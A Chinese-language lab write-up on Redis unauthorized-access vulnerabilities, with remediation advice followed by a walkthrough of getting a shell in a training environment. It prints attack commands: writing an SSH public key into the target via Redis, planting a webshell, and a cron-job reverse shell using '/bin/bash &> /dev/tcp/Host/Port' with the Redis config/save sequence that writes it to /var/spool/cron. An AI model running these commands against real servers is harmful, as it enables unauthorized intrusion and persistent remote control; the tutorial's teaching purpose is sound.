未授权访问
未授权访问漏洞通常指在系统、服务或应用程序中,由于配置不当或安全措施缺失,导致未经过身份验证或授权的用户能够访问敏感资源或执行关键操作。
这可能包括访问数据库、文件系统、管理界面或其他关键组件,从而引发数据泄露、服务中断或系统被恶意利用的风险。
常见未授权访问
以下是一些常见的未授权访问漏洞,这些漏洞可能由于配置错误、默认设置未更改或安全更新缺失而导致:
修补建议
为了防范未授权访问漏洞,建议采取以下措施:
定期更新和打补丁:确保所有系统和应用程序都安装了最新的安全补丁。
强化配置管理:审查和更新配置文件,确保只有授权用户才能访问敏感资源。
使用强密码和多因素认证:增加账户安全性,防止密码被破解。
限制网络暴露:确保敏感服务不在公网上暴露,使用防火墙和网络安全组来限制访问。
监控和日志记录:实施监控系统以检测异常行为,并保留日志以便于事后分析。
安全审计和测试:定期进行安全审计和渗透测试,以发现和修复潜在的安全漏洞。
通过这些措施,可以显著降低未授权访问的风险,保护组织的关键资产和数据安全。
Redis 未授权访问
Redis 简介
Redis 是完全开源免费的,一个灵活的高性能
key-value
数据结构存储,可以用来作为数据库、缓存和消息队列。
Redis 应用场景
存储缓存用的数据;
需要高速读/写的场合使用它快速读/写;
Redis 架构
Redis服务器(redis-server):核心服务,负责数据存储、处理客户端请求和执行数据结构操作。
Redis客户端(redis-cli):用于与服务器进行交互的命令行工具,可以执行各种Redis命令。
客户端、服务器可以位于同一台计算机或两台不同的计算机中。
漏洞详解
演示前首先鸣谢:蚁景网络安全实验室
本次演示环境:
蚁景网络安全实验室 - redis_unauth_vuln:redis未授权访问漏洞环境
蚁景网络安全实验室 - redis-master-slave-copy:redis主从复制漏洞环境
Redis 漏洞利用 Getshell 姿势
Redis 未授权漏洞发现
Redis 服务默认端口:6379
但是本次靶场给定的目标端口并非6379。
端口探测
检测目标的端口上开启的是什么服务,是否存在 Redis 的未授权访问漏洞。
探测 Redis 服务端口是否开放
发现两个端口分别对应的服务为:
redis - 未授权访问
ssh
那么首先可以确定有一个思路是 :
可以尝试是否可以写入 ssh 公钥进入目标服务器当中(IP 不同,redis 未授权访问的主机)并非探测出开启 ssh 服务的主机,也不知该机器的 SSH 服务端口。
尝试未授权访问
漏洞利用
Webshell
漏洞分析
靶场给出的三个环境,一个是我们现在的未授权访问 redis, 一个是 ssh ,另一个是一个 http 服务网页页面。
尝试打开 http服务的页面。
发现网页是 Apache 的默认配置页面,静态 HTML 当然不存在注入点,尝试扩大威胁面。
上 Dirsearch 扫目录资产。
dirsearch 扫描完以后的资产:
推荐在 kali 中使用 apt 下来的 dirsearch,Windows 的就是依托。
漏洞配置
前往 Redis-cli 客户端 尝试写入 Webshell 挂马。
漏洞利用
公私钥 Getshell
向目标服务器写入我们渗透主机 VPS 生成的公钥,渗透主机 VPS 进行 SSH 连接 靶机 的时候则会自动验证公私钥,无需输入密码。
实验靶机:
探测漏洞利用端口是否开放
探测是否开启了 ssh 服务
公私钥 Getshell 满足条件之一。
本地 VPS 生成公私钥
# 生成SSH公钥和私钥保存到 /root/.ssh/ 目录
ssh-keygen -q -t rsa -f /root/.ssh/id_rsa -N ''
漏洞配置
将公钥作为
键值对
的值
写入靶机的 redis 数据中。 —— 通过管道符可以快速实现。# 在 id_rsa.pub 公钥内容前后加入换行符,保存到 /tmp/qiaoshen.txt 文件 (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/qiaoshen.txt
前后都写入 '\n' 是为了确保最后我们备份数据时我们的公钥在备份文件当中不会和别的备份数据混在一起,而是会单独存在于一行内,在后期我们进行 SSH 连接的时候,公私钥可以正确被验证。
也可以使用 Windows 的可视化 Redis-Cli 管理工具快捷写入 公钥 。(推荐)
漏洞利用
使用渗透主机 VPS 的 SSH 服务 选择验证公私钥方式 连接靶机,公私钥验证成功,无须密码 Getshell。
定时任务 Getshell
在 redis-cli 当中 配置定时任务反弹 Shell
# 设置定时任务反弹 Shell \n\n*/1 * * * * /bin/bash &> /dev/tcp/Host/Port 0>&1\n\n
全流程:
set qiaoshen "\n\n*/1 * * * * /bin/bash &> dev/tcp/Host/Port 0>&1\n\n" config set dir /var/spool/cron config set dir /var/spool/cron/crontab config set dbfilename root save
主从复制
以后补档...